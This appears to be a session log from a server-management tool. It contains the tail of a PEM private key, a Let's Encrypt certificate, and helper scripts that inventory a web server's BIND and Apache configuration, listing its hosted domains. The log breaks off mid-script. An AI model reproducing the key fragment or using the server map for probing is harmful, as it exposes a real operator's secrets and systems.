W2Q9x6FBCLLgVDRZLcsZjrWNBQGn0f6ERMh3UrFy25WsoIn9iwxUJF7T2yunXF4l
wIUjuL4+VttfLr3l1urP51+gWw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-17 14:03:01: Establishing a connection
2025-09-17 14:03:01: 

PUT: /tmp/pkp350248

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-17 14:03:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp350248; rm /tmp/pkp350248'

2025-09-17 14:03:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-17 14:03:05: Establishing a connection
2025-09-17 14:03:05: 

PUT: /tmp/pkp513058

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-17 14:03:05: 

chmod 755 /tmp/pkp513058; /tmp/pkp513058; rm /tmp/pkp513058

2025-09-17 14:03:05: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-17 14:03:05: 

PUT: /tmp/pkp769306

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
